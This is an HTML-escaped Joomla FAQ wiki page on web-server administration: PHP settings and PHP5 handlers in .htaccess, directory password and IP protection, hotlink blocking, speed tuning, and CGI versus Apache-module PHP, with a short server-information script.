 . Means any character other than newlines&lt;br /&gt;
 * Means one or more of the previous character&lt;br /&gt;
 $ Means end of line&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
      Options +FollowSymLinks&lt;br /&gt;
      Redirect /joomla.html http://www.joomla.org&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.mysite.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;mysite.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a sub-domain, for example &amp;quot;test&amp;quot; you need to modify .htaccess as follows:&lt;br /&gt;
&lt;br /&gt;
      Options +FollowSymLinks&lt;br /&gt;
      Redirect /test/joomla.html http://www.joomla.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you can not use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
 RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://(.+\.)?your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;No Case&amp;quot;, which means, match upper and lower case characters. The third line allows empty referrals. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
 RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://(.+\.)?myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://(.+\.)?blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://(.+\.)?livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule .*\.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/faq/60.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including&lt;br /&gt;
recommendations on configuration;     &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete &amp;amp;quot;Suite&amp;amp;quot; of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script&amp;lt;br /&amp;gt;&lt;br /&gt;
